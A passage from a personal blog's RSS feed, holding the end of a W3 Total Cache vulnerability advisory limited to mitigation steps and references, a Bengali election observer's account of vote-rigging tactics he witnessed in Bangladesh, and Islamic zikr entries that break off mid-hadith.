&lt;p&gt;Additionally:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If your site uses the mfunc/mclude Dynamic Fragment Caching feature, ensure &lt;code&gt;W3TC_DYNAMIC_SECURITY&lt;/code&gt; is set to a long, random, alphanumeric string (no regex metacharacters).&lt;/li&gt;
&lt;li&gt;If you do not use the mfunc feature, do not define &lt;code&gt;W3TC_DYNAMIC_SECURITY&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Review existing comments for any residual mfunc tags.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/w3-total-cache/w3-total-cache-291-unauthenticated-arbitrary-code-execution&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vdp.patchstack.com&quot;&gt;Patchstack VDP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27384&quot;&gt;CVE Record: CVE-2026-27384&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-12T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>কীভাবে ভোট জালিয়াতি করবেন?</title><link>https://hurayraiit.com/blog/kivabe-vote-jaliyati-korben/</link><guid isPermaLink="true">https://hurayraiit.com/blog/kivabe-vote-jaliyati-korben/</guid><description>একজন নির্বাচন পর্যবেক্ষকের চোখে বাংলাদেশের ভোট জালিয়াতির বাস্তব চিত্র — জাল ভোট, ডামি এজেন্ট ও কৃত্রিম ট্রাফিক জ্যামের বিস্তারিত ঘটনা।</description><pubDate>Mon, 09 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;কীভাবে ভোট জালিয়াতি করবেন? আমার ১৭ বছরের চাকরি জীবনে বেশ কয়েকবার স্থানীয় ও জাতীয় নির্বাচনে নির্বাচন পর্যবেক্ষক হিসেবে দায়িত্ব পালন করার সুযোগ হয়েছিল। চাকরিকালীন সময়ে কখনোই সেই অভিজ্ঞতাগুলো আমি কোথাও শেয়ার করিনি, কিন্তু আজকে আমার মনে হলো বাংলাদেশের নির্বাচনের দিনে কত ধরণের অনিয়ম হয় যা আমি নিজ চোখে দেখেছি, সেগুলো সবার জানা উচিত।&lt;/p&gt;
&lt;p&gt;সেই অভিজ্ঞতার আলোকে আমি খুব কাছ থেকে দেখেছি কীভাবে নির্বাচনে বিভিন্নভাবে জালিয়াতি হতো। চলুন দেখে নেই নির্বাচনের জালিয়াতিগুলো কীভাবে হয়। যারা নির্বাচন সংক্রান্ত কাজে জড়িত আছেন তারা আমার এই লেখাটি সেভ করে রাখতে পারেন, ভোটের দিন খুবই কাজে দেবে।&lt;/p&gt;
&lt;p&gt;জালিয়াতির সবথেকে কমন পার্ট হচ্ছে জাল ভোট দেওয়া। সব থেকে পুরনো টেকনিক হচ্ছে একজনের ভোট আরেকজন দেওয়া। সময় আর প্রযুক্তির আধুনিকতায় দিন দিন জাল ভোট দেওয়া এখন অনেক কঠিন হয়ে যাচ্ছে, তারপরও এটি এখনো চালু আছে। এই জাল ভোট তখনই দেওয়া হয় যখন কেন্দ্রের ভেতর থেকেই একটা সিগন্যাল দেওয়া হয় যে জাল ভোট পাঠানো হোক। সব কিছু সাজানো থাকে, কোনো কিছু নিয়ে প্রশ্ন করা হয় না। শুধু হাতের একটি স্লিপ নিয়ে আসলেই হয়, কোনো চ্যালেঞ্জ করা হয় না। তখন একই ব্যক্তিকে একটু পর পর বিভিন্ন জনের ভোট দিতে ভেতরে পাঠানো হয় এবং এই প্রক্রিয়া অবিরাম চলতে থাকে যতক্ষণ পর্যন্ত কোনো প্রার্থীর এজেন্ট কাউকে চ্যালেঞ্জ না করে। তাই এজেন্টদের বলবো, সবার পরিচয় নিশ্চিত হোন।&lt;/p&gt;
&lt;p&gt;এইবার আমি আমার একদম রিয়েল লাইফ নির্বাচন পর্যবেক্ষণের কিছু ঘটনা আপনাদের বলবো:&lt;/p&gt;
&lt;p&gt;ঘটনা - ১ একটি কেন্দ্রে গিয়ে দেখলাম লম্বা লাইন। আমরা ভেতরে গিয়ে দেখলাম কোনো ভোটার নেই। আমার একটু খটকা লাগলো—বাইরে অনেক লম্বা লাইন কিন্তু ভেতরে বুথগুলো ফাঁকা, কেউ ভোট দিচ্ছে না। সব বুথ ঘুরে এক পর্যায়ে আমি পোলিং অফিসারকে জিজ্ঞেস করলাম, বাইরে এত লম্বা লাইন কিন্তু ভেতরে ভোট হচ্ছে না কেন? পোলিং অফিসার খুব চালাক মানুষ, উনি কোনো দায়-দায়িত্ব নিলেন না। উনি আমাকে বললেন, বাইরে কী হচ্ছে সেটা আমি জানি না, আমার দায়িত্ব ভোটকেন্দ্রের ভেতরে দেখা। কেন লাইনে দাঁড়ানো মানুষ ভোট দিতে ভেতরে আসছে না সেটা আমার জানা নেই।&lt;/p&gt;
&lt;p&gt;আমি বের হয়ে আসলাম আসল ঘটনা জানার জন্য। আসল ঘটনা ছিল, প্রতিটা ভোটকেন্দ্রের লাইনে সকাল থেকে ২৫-৩০ জনের একটা দল দাঁড়িয়ে গেছে। তাদের কাজ হলো লাইনের সামনে দাঁড়িয়ে থাকা কিন্তু ভেতরে ভোট দিতে না যাওয়া। অর্থাৎ কৃত্রিম একটা ট্রাফিক জ্যাম সৃষ্টি করা, যেন পিছনের লোকজন ঘণ্টার পর ঘণ্টা লাইনে দাঁড়িয়ে ত্যক্ত-বিরক্ত হয়ে ভোট না দিয়ে বাড়ি চলে যায়। আমি লক্ষ্য করলাম মানুষ আসলেই ভোট না দিতে পেরে বাড়ি চলে যাচ্ছে।&lt;/p&gt;
&lt;p&gt;এটা করার কারণ হলো, এই কেন্দ্রগুলোতে তাদের প্রতিপক্ষ প্রার্থীর অনেক ভোট আছে। এখন এইভাবে মানুষকে ভোট দিতে না দিয়ে বাড়ি পাঠাতে পারলে দিনশেষে তারাই জিতবে। এটা ছিল তাদের সূক্ষ্ম ইঞ্জিনিয়ারিং। আমি লাইনে দাঁড়ানো দুই একজনকে জিজ্ঞেস করলাম, আপনারা কতক্ষণ ধরে দাঁড়িয়ে আছেন? কেন ভেতরে যাচ্ছেন না? তারা কোনো উত্তর না দিয়ে একবার মোবাইলে তাকায় তো একবার উপরে তাকায়। বাধ্য হয়ে একজন ভেতরে গেলেন ভোট দিতে, কিন্তু তিনি ভোট দিয়ে এসেই আবার সেই লাইনের পিছনে দাঁড়িয়ে গেলেন। এটা যে কত বড় সূক্ষ্ম কারচুপি তা কেউ খেয়ালই করতে পারবে না।&lt;/p&gt;
&lt;p&gt;নারী ভোটারদের লাইনেও একই অবস্থা ছিল। তবে মহিলাদের চিল্লাচিল্লিতে লাইন কিছুটা আগাচ্ছিল। কিন্তু তারা ভেতরে গেলে আরেক ধরণের হয়রানি করা হতো। যে স্লিপ নিয়ে তারা ভেতরে যেতেন, তাদের বলা হতো এই রুমে না, অন্য রুমে যান। এভাবে সব রুম ঘুরিয়ে ভোট না দিয়ে তাদের চলে যেতে বলা হতো। এভাবেই গ্রামের সহজ-সরল মানুষগুলো ভোট না দিয়ে বাড়ি চলে যায়।&lt;/p&gt;
&lt;p&gt;ঘটনা - ২ ভোটকেন্দ্রের এজেন্ট নিয়ে যে কী পরিমাণ লুকোচুরি করা হয়, তার কিছু বিচিত্র অভিজ্ঞতা আমার হয়েছিল। আমরা যখনই আমাদের টিম নিয়ে কোনো কেন্দ্রে হাজির হতাম, ভেতরে গিয়ে দেখতাম সব প্রার্থীর এজেন্ট আছে কি না। দেখা যেত প্রভাবশালী দলের এজেন্ট আছে কিন্তু অন্য প্রার্থীর এজেন্ট নেই। জিজ্ঞাসা করলেই বলা হতো তারা এইমাত্র বাইরে গেছে বা খেতে গেছে, বাথরুমে গেছে ইত্যাদি । কিন্তু আসল ঘটনা ছিল, সকালেই তাদেরকে হুমকি-ধমকি বা মারধর করে কেন্দ্র থেকে বের করে দেওয়া হয়েছে।&lt;/p&gt;
&lt;p&gt;এক কেন্দ্রে গিয়ে দেখলাম সব এজেন্ট আছে। আমি অবাক হলাম যে এই কেন্দ্র এত ভালো! আমি একজনের কাছে গিয়ে জিজ্ঞাসা করলাম, আপনি কোন দলের এজেন্ট? তিনি বললেন আওয়ামী লীগের। আরেকজনকে বললাম আপনি কার এজেন্ট? তিনি বললেন অমুক প্রার্থীর। আমি তার গলার ব্যাজটা দেখে বললাম, আপনার গলায় তো নৌকা প্রতীকের ব্যাজ! তখন তিনি আর কোনো উত্তর দিতে পারলেন না। আমি একটা মুচকি হাসি দিয়ে বেরিয়ে আসলাম। তাড়াহুড়া করে ডামি এজেন্ট সাজাতে গিয়ে তারা গলার ব্যাজটা খুলতেও ভুলে গিয়েছিল।&lt;/p&gt;
&lt;p&gt;ঘটনা - ৩ ভোটকেন্দ্রের মহিলা বুথগুলোর অবস্থা ছিল আরও খারাপ। একটি বুথে গিয়ে দেখি একজন মহিলা গোপন কক্ষে অবস্থান করছেন। যে ভোটাররা গোপন কক্ষে ভোট দিতে যাচ্ছেন, তাদের তিনি কোথায় ভোট দিতে হবে তা দেখিয়ে দিচ্ছেন বা বাধ্য করছেন। আমি গিয়ে প্রশ্ন করলাম, আপনি এই গোপন কক্ষে কী করছেন? এখানে ভোটার ছাড়া কারো থাকার কথা না। তিনি উত্তর দিলেন, বয়স্ক ভোটারদের হেল্প করছেন। আমি কথা বলার সময় পোলিং অফিসার তাকে ধমক দিয়ে বের করে দিলেন।&lt;/p&gt;
&lt;p&gt;আরেকটি বুথে গিয়ে দেখলাম একজন জাদরেল টাইপের মহিলা ভোটারদের গোপন কক্ষে যেতেই দিচ্ছেন না। তার সামনেই ব্যালটে সিল মারতে বলছেন। আমি প্রশ্ন করায় তিনি কোনো উত্তর না দিয়ে অন্য দিকে মুখ ফিরিয়ে চলে গেলেন।&lt;/p&gt;
&lt;p&gt;ঘটনা - ৪ ভোটকেন্দ্রে ভুয়া সাংবাদিকদের বিচরণ ছিল চোখে পড়ার মতো। আইন অনুযায়ী ভোটার, এজেন্ট আর সংশ্লিষ্ট ব্যক্তি ছাড়া কেন্দ্রে কেউ থাকতে পারবে না। কিছু সাংবাদিকের প্রবেশের অধিকার থাকে, সেই সুযোগ কাজে লাগিয়ে শত শত ভুয়া সাংবাদিক কার্ড ইস্যু করা হয়। এরা কেন্দ্রে ঘুরাঘুরি করে জালিয়াতিতে ব্যস্ত থাকে। এক ব্যক্তিকে দেখলাম ভোটারদের ইনফ্লুয়েন্স করছেন। জিজ্ঞেস করায় সাংবাদিক কার্ড দেখালেন। আমি তাকে বললাম, আপনার কাজ খবর সংগ্রহ করা, আপনি ভোটারদের কাজে হস্তক্ষেপ করছেন কেন? তিনি কোনো উত্তর না দিয়ে বের হয়ে গেলেন। আসলে এরা পার্টির লোক, তাদের কাজ হলো ভোটারদের ভয় দেখানো।&lt;/p&gt;
&lt;p&gt;ঘটনা - ৫ একটি কেন্দ্রে ভুয়া নির্বাচন পর্যবেক্ষক দেখলাম। এক ব্যক্তি ঘুরাঘুরি করছিলেন, আমার সন্দেহ হওয়ায় জিজ্ঞেস করলাম আপনি কোন সংস্থার? তিনি কোনো উত্তর দিতে পারলেন না, পরে নামসর্বস্ব একটা নাম বললেন যা আমি কখনো শুনিনি। আমি বললাম আপনি পর্যবেক্ষক হলে তো পর্যবেক্ষণ করে চলে যাওয়ার কথা, কিন্তু আপনি ভোটে হস্তক্ষেপ করছেন। তিনি আর কথা না বলে চলে গেলেন।&lt;/p&gt;
&lt;p&gt;ঘটনা - ৬ আরেকটি কেন্দ্রে গিয়ে দেখলাম বাইরে প্রচুর মানুষ ঘুরাঘুরি করছে কিন্তু ভেতরে কেউ ভোট দিতে যাচ্ছে না। আমরা ১৫ মিনিট বাইরে দাঁড়িয়ে থেকে ভেতরে গেলাম। পোলিং অফিসার বললেন তিনি জানেন না কেন মানুষ আসছে না। বাইরে এসে এক ছোট ছেলেকে জিজ্ঞেস করলাম কী হয়েছে? সে বললো এখানে মারামারি হয়েছে, কেউ ভেতরে গেলেই তাকে মারছে। তখন বুঝলাম ভেতরে ভয়ের পরিবেশ তৈরি করা হয়েছে যেন কেউ ভোট দিতে না যায়।&lt;/p&gt;
&lt;p&gt;ঘটনা - ৭ একটি কেন্দ্রে দেখলাম ভোটারদের গোপন কক্ষে সিল দিতে দেওয়া হচ্ছে না। এজেন্টের সামনেই সিল মারতে বাধ্য করা হচ্ছে যাতে তারা কনফার্ম হতে পারে ভোটটা তাদের দলেই পড়েছে। আমি জানালা দিয়ে উঁকি দিয়ে দেখে ভেতরে ঢুকলাম এবং প্রশ্ন করলাম। পোলিং অফিসার বললেন তিনি দেখেননি, হলে হয়তো একটা-দুইটা হতে পারে। এরপর আমাদের সামনেই একটা মিথ্যা বকাবকির নাটক সাজানো হলো—এটুকুই।&lt;/p&gt;
&lt;p&gt;এগুলো হলো কেন্দ্রের ভেতরে ও আশেপাশের জালিয়াতি। এছাড়া কেন্দ্র থেকে ২ কিলোমিটার দূরে ভোটারদের থামিয়ে দেওয়া বা বাড়ি থেকে নারী ভোটারদের এনআইডি কার্ড কেড়ে নেওয়ার মতো ঘটনাও আমি অনেক দেখেছি।&lt;/p&gt;
&lt;p&gt;আমার খুব আশাবাদী এইবার এইসকল অনিয়ম গুলি হবে না, অনিয়মের চেষ্টা কিন্তু সব পক্ষ করেই যাবে।&lt;/p&gt;
&lt;p&gt;(মুহাম্মদ মঈন উদ্দিন সাবেক কর্মকতা আমেরিকান এ‍্যাম্বাসি ঢাকা, বর্তমানে যুক্তরাষ্ট্রের আইয়া স্টেটে বসবাসরত)&lt;/p&gt;
&lt;p&gt;Original Post: &lt;a href=&quot;https://www.facebook.com/share/p/1GevSSzqzb/&quot;&gt;https://www.facebook.com/share/p/1GevSSzqzb/&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2026-02-09T00:00:00.000Z</atom:updated><category>history-geography-politics</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Zikr When Waking Up - ঘুম থেকে জেগে উঠার সময়ের যিক্‌রসমূহ</title><link>https://hurayraiit.com/blog/zikr-when-waking-up/</link><guid isPermaLink="true">https://hurayraiit.com/blog/zikr-when-waking-up/</guid><description>Morning adhkar from Hisnul Muslim — the recommended duas and zikr to recite upon waking up, with Arabic text, transliteration, and Bengali and English meanings.</description><pubDate>Tue, 27 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Zikr #01&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;أَلْحَمْدُ لِلّٰهِ الَّذِيْ أَحْيَانَا بَعْدَ مَا أَمَاتَنَا، وَإِلَيْهِ النُّشُوْرُ&lt;/p&gt;
&lt;p&gt;All praise is for Allaah who gave us life after having taken it from us and unto Him is the resurrection&lt;/p&gt;
&lt;p&gt;হামদ-প্রশংসা আল্লাহ্‌র জন্য, যিনি (নিদ্রারূপ) মৃত্যুর পর আমাদেরকে জীবিত করলেন, আর তাঁরই নিকট সকলের পুনরুত্থান&lt;/p&gt;
&lt;p&gt;Alhamdu lillaahil-lathee &apos;ahyaanaa ba&apos;da maa &apos;amaatanaa wa&apos;ilayhin-nushoor&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Zikr #02&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;لَا إِلٰهَ إِلاَّ اللّٰهُ وَحْدَهُ لَا شَرِيْكَ لَهُ، لَهُ الْمُلْكُ وَلَهُ الْحَمْدُ، وَهُوَ عَلَى كُلِّ شَيْءٍ قَدِيْرٌ، سُبْحَانَ اللّٰهِ، وَالْحَمْدُ لِلّٰهِ، وَلَا إِلٰهَ إِلَّا اللّٰهُ، وَاللّٰهُ أَكْبَرُ، وَلَا حَوْلَ وَلَا قُوَّةَ إِلَّا بِاللّٰهِ الْعَلِيِّ الْعَظِيْمِ، رَبِّ اغْفِرْ لِيْ&lt;/p&gt;
&lt;p&gt;None has the right to be worshipped except Allaah, alone, without any partner, to Him belong sovereignty and praise and He is over all things wholly capable. How perfect Allaah is, and all praise is for Allaah, and none has the right to be worshipped except Allaah, Allaah is the greatest and there is no power nor might except with Allaah, The Most High, The Supreme, O my Lord forgive me.&lt;/p&gt;
&lt;p&gt;একমাত্র আল্লাহ ছাড়া কোনো হক্ব ইলাহ নেই, তাঁর কোনো শরীক নেই; রাজত্ব তাঁরই, প্রশংসাও তাঁরই; আর তিনি সকল কিছুর ওপর ক্ষমতাবান। আল্লাহ পবিত্র-মহান। সকল হামদ-প্রশংসা আল্লাহ্‌র। আল্লাহ ছাড়া কোনো হক্ব ইলাহ নেই। আল্লাহ সবচেয়ে বড়। সুউচ্চ সুমহান আল্লাহর সাহায্য ছাড়া (পাপ কাজ থেকে দূরে থাকার) কোনো উপায় এবং (সৎকাজ করার) কোনো শক্তি কারো নেই। হে রব্ব ! আমাকে ক্ষমা করুন&lt;/p&gt;
&lt;p&gt;Laa &apos;illaha &apos;illallahu wahdahu la shareeka lahu, lahul-mulku wa lahul-hamdu, wa Huwa &apos;alaa kulli shay&apos;in Qadeer Subhaanallahi, walhamdu lillaahi, wa laa &apos;ilaha &apos;illallahu, wallaahu &apos;akbar, wa laa hawla wa laa Quwwata &apos;illaa billaahil-&apos;Aliyyil-&apos;Adheem, Rabbighfir lee.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Whoever says this will be forgiven, and if he supplicates Allah, his prayer will be answered; if he performs ablution and prays, his prayer will be accepted.&lt;/p&gt;
&lt;p&gt;যে ব্যক্তি তা বলবে তাকে ক্ষমা করে দেওয়া হবে। যদি সে দো‘আ করে, তবে তার দো‘আ কবুল হবে। যদি সে উঠে ওযু করে নামায পড়ে, তবে তার নামায কবুল করা হবে।&lt;/p&gt;
&lt;h2&gt;Zikr #03&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;اَلْحَمْدُ لِلّٰهِ الَّذِيْ عَافَانِيْ فِيْ جَسَدِيْ، وَرَدَّ عَلَيَّ رُوْحِيْ، وَأَذِنَ لِيْ بِذِكْرِهِ&lt;/p&gt;
&lt;p&gt;Praise is to Allah Who gave strength to my body and returned my soul to me and permitted me to remember Him.&lt;/p&gt;
&lt;p&gt;সকল হামদ-প্রশংসা আল্লাহ্‌র জন্য, যিনি আমার দেহকে নিরাপদ করেছেন, আমার রূহকে আমার নিকট ফেরত দিয়েছেন এবং আমাকে তাঁর যিক্‌র করার অনুমতি (সুযোগ) দিয়েছেন&lt;/p&gt;
&lt;p&gt;Alhamdu lillaahil-lathee &apos;aafaanee fee jasadee, wa radda &apos;alayya roohee, wa &apos;athina lee bithikrihi.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;References:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dua.gtaf.org/en/dua/2/&quot;&gt;https://dua.gtaf.org/en/dua/2/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dua.gtaf.org/en/dua/3/&quot;&gt;https://dua.gtaf.org/en/dua/3/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dua.gtaf.org/en/dua/4/&quot;&gt;https://dua.gtaf.org/en/dua/4/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-01-27T00:00:00.000Z</atom:updated><category>hisnul-muslim</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>The Excellence of Zikr - যিক্‌রের ফযীলত</title><link>https://hurayraiit.com/blog/the-excellence-of-zikr/</link><guid isPermaLink="true">https://hurayraiit.com/blog/the-excellence-of-zikr/</guid><description>The excellence of Zikr from Hisnul Muslim — Quranic verses and hadith on the virtue of remembering Allah and its profound benefits for the believer.</description><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Allaah (Subhaanahu wa Ta&apos;aala) says:&lt;/p&gt;
&lt;p&gt;فَاذْكُرُوْنِيْٓ اَذْكُرْكُمْ وَاشْكُرُوْا لِيْ وَلَا تَكْفُرُوْنِ&lt;/p&gt;
&lt;p&gt;&apos;Therefore remember Me, I will remember you and be grateful to Me, and never be ungrateful to me.&apos;&lt;/p&gt;
&lt;p&gt;“অতএব তোমরা আমাকে স্মরণ কর, আমিও তোমাদেরকে স্মরণ করব। আর তোমরা আমার প্রতি কৃতজ্ঞতা প্রকাশ কর এবং আমার প্রতি অকৃতজ্ঞ হয়ো না।”&lt;/p&gt;
&lt;p&gt;Soorah al-Baqarah, Aayah 152&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;يٰٓاَيُّهَا الَّذِيْنَ اٰمَنُوا اذْكُرُوا اللّٰهَ ذِكْرًا كَثِيْرًا&lt;/p&gt;
&lt;p&gt;&apos;O you who believe! Remember Allah with much remembrance&apos;&lt;/p&gt;
&lt;p&gt;“হে ঈমানদারগণ! তোমরা আল্লাহকে অধিক পরিমাণে স্মরণ কর”&lt;/p&gt;
&lt;p&gt;Soorah al-Ahzaab, Aayah 41&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;وَالذّٰكِرِيْنَ اللّٰهَ كَثِيْرًا وَّالذّٰكِرٰتِۙ اَعَدَّ اللّٰهُ لَهُمْ مَّغْفِرَةً وَّاَجْرًا عَظِيْمًا&lt;/p&gt;
&lt;p&gt;&apos;And for men and women who engage much in Allah&apos;s remembrance, for them has Allah prepared forgiveness and great reward&apos;&lt;/p&gt;
&lt;p&gt;“আর আল্লাহকে অধিক পরিমাণে স্মরণকারী পুরুষ ও নারী: আল্লাহ তাদের জন্য ক্ষমা ও বিরাট পুরস্কার প্রস্তুত করে রেখেছেন।”&lt;/p&gt;
&lt;p&gt;Soorah al-Ahzaab, Aayah 35&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;وَاذْكُرْ رَّبَّكَ فِيْ نَفْسِكَ تَضَرُّعًا وَّخِيْفَةً وَّدُوْنَ الْجَــهْرِ مِنَ الْقَوْلِ بِالْغُدُوِّ وَالْاٰصَالِ وَلَا تَكُنْ مِّنَ الْغٰفِلِيْنَ&lt;/p&gt;
&lt;p&gt;&apos;And bring your Lord to remembrance in your [very] soul, with humility and remember without loudness in words, in the mornings and evenings; and be not of those who are unheedful&apos;&lt;/p&gt;
&lt;p&gt;“আর আপনি আপনার রব্বকে স্মরণ করুন মনে মনে, মিনতি ও ভীতিসহকারে, অনুচ্চস্বরে; সকালে ও সন্ধ্যায়। আর উদাসীনদের অন্তর্ভুক্ত হবেন না।”&lt;/p&gt;
&lt;p&gt;Soorah al-A&apos;raaf, Aayah 205&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The Prophet (sal-Allaahu &apos;alayhe wa sallam) said:&lt;/p&gt;
&lt;p&gt;&apos;The comparison of the one who remembers Allaah and the one who does not remember Allaah, is like that of the living and the dead&apos; [1]&lt;/p&gt;
&lt;p&gt;তাছাড়া নবী সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম বলেন, “যে ব্যক্তি তার রবের যিক্‌র (স্মরণ) করে, আর যে ব্যক্তি তার রবের যিক্‌র করে না— তারা যেন জীবিত আর মৃত।” [১]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&apos;&apos;Should I not inform you of the best of deeds, and the most sanctifying of deeds before your Lord, which does more to raise your positions [with Him] , and are better for you than the disbursement of gold and money or battle with the enemy?&apos;&apos;&lt;/p&gt;
&lt;p&gt;They [the companions] said: &apos;&apos;Indeed! Inform us.&apos;&apos;&lt;/p&gt;
&lt;p&gt;He (sal-Allaahu &apos;alayhe wa sallam) then said:&lt;/p&gt;
&lt;p&gt;&apos;&apos;Remembrance of Allaah (Subhaanahu wa Ta&apos;aala)&apos;&apos; [2]&lt;/p&gt;
&lt;p&gt;রাসূলুল্লাহ্‌ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম আরও বলেন, “আমি কি তোমাদেরকে তা জানাবো না— আমলের মধ্যে যা সর্বোত্তম, তোমাদের মালিক (আল্লাহ্‌র) কাছে যা অত্যন্ত পবিত্র, তোমাদের জন্য যা অধিক মর্যাদা বৃদ্ধিকারী, (আল্লাহ্‌র পথে) সোনা-রূপা ব্যয় করার তুলনায় যা তোমাদের জন্য উত্তম এবং তোমরা তোমাদের শত্রুদের মুখোমুখি হয়ে তাদেরকে হত্যা এবং তারা তোমাদের হত্যা করার চাইতেও অধিকতর শ্রেষ্ঠ?” সাহাবীগণ বললেন, অবশ্যই হ্যাঁ। তিনি বললেন, “আল্লাহ্ তা‘আলার যিক্‌র।” [২]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The Prophet (sal-Allaahu &apos;alayhe wa sallam) also said:&lt;/p&gt;
&lt;p&gt;&apos;&apos;Allaah (Subhaanahu wa Ta&apos;aala) says: &apos;&apos;Indeed I am as My servant presumes Me to be, and I am with him when he remembers Me, so if he remembers Me to himself I remember him to Myself, and if he remembers Me amongst a company I remember him amongst a company greater than it, and if he draws near to Me the span of a hand I draw near to him the span of an arm, and if he draws near to Me the span of an arm I draw near to him the span of two outstretched arms, and if he takes a step towards Me I hastily step towards him&apos;&apos;&apos;&apos; [3]&lt;/p&gt;
&lt;p&gt;রাসূলুল্লাহ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম আরও বলেন, “আল্লাহ তা‘আলা বলেন: আমার বান্দা আমার সম্পর্কে যেরূপ ধারণা করে, আমাকে সে তদ্রূপই পাবে; আর যখন সে আমাকে স্মরণ করে, তখন আমি তার সাথে থাকি। সুতরাং যদি সে মনে মনে আমাকে স্মরণ করে, আমিও আমার মনে তাকে স্মরণ করি। আর যদি সে কোনো সমাবেশে আমাকে স্মরণ করে, তাহলে আমি তাকে এর চাইতে উত্তম সমাবেশে স্মরণ করি। আর সে যদি আমার দিকে এক বিঘত পরিমাণ নিকটবর্তী হয়, তাহলে আমি তার দিকে এক হাত পরিমাণ নিকটবর্তী হই। সে এক হাত পরিমাণ নিকটবর্তী হলে আমি তার দিকে এক বাহু পরিমাণ নিকটবর্তী হই। আর সে যদি আমার দিকে হেঁটে আসে, আমি তার দিকে দ্রুতবেগে যাই।” [৩]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;On the authority of &apos;Abdullaah Ibn Busr (radhi-yallaahu &apos;anhu):&lt;/p&gt;
&lt;p&gt;&apos;&apos;A man said to the Prophet (sal-Allaahu &apos;alayhe wa sallam):&lt;/p&gt;
&lt;p&gt;&apos;&apos;O Messenger of Allaah, the rites of Islaam are much for me, so tell me of something that I might hold fast to&apos;&apos;&lt;/p&gt;
&lt;p&gt;He (sal-Allaahu &apos;alayhe wa sallam) said:&lt;/p&gt;
&lt;p&gt;&apos;&apos;Let not your tongue cease from the remembrance of Allaah&apos;&apos; [4]&lt;/p&gt;
&lt;p&gt;আব্দুল্লাহ ইবন বুসর রাদিয়াল্লাহু ‘আনহু থেকে বর্ণিত, এক ব্যক্তি আরয করল, হে আল্লাহ্‌র রাসূল! ইসলামের বিধিবিধান আমার জন্য বেশি হয়ে গেছে। কাজেই আপনি আমাকে এমন একটি বিষয়ের খবর দিন, যা আমি শক্ত করে আঁকড়ে ধরব। রাসূলুল্লাহ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম বলেন, “তোমরা জিহ্বা যেনো সর্বক্ষণ আল্লাহ্‌র যিক্‌রে সজীব থাকে।” [৪]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The Prophet (sal-Allaahu &apos;alayhe wa sallam) also said:&lt;/p&gt;
&lt;p&gt;&apos;&apos;Whoever recites a letter of Allaah&apos;s Book has for it, a merit and ten more like it, not to say that alif, laam, meem are one letter but rather alif is a letter, laam is a letter and meem is a letter&apos;&apos; [5]&lt;/p&gt;
&lt;p&gt;রাসূলুল্লাহ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম আরও বলেন, “যে ব্যক্তি আল্লাহ্‌র কিতাব (কুরআন) থেকে একটি হরফ পাঠ করে, সে তার বিনিময়ে একটি সওয়াব পায়; আর একটি সওয়াব হবে দশটি সওয়াবের সমান। আমি আলিফ, লাম ও মীমকে একটি হরফ বলছি না। বরং ‘আলিফ’ একটি হরফ, ‘লাম’ একটি হরফ এবং ‘মীম’ একটি হরফ।” [৫]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&apos;Uqbah Ibn &apos;Aamir (radhi-yallaahu &apos;anhu) relates that Allaah&apos;s Messenger (sal-Allaahu &apos;alayhe wa sallam) came out when we were in as-Suffah and said:&lt;/p&gt;
&lt;p&gt;&apos;&apos;Are there any of you who would wish to go every day to Buthaan or al-&apos;Aeeq [i.e., the name of two ditches in al-Madeenah] in the early morning and return from it with two she-camels without incurring any sin or severing relations?&apos;&apos;&lt;/p&gt;
&lt;p&gt;We [the companions] said: &apos;&apos;We would indeed love that, O Messenger of Allaah&apos;&apos;&lt;/p&gt;
&lt;p&gt;He (sal-Allaahu &apos;alayhe wa sallam) said:&lt;/p&gt;
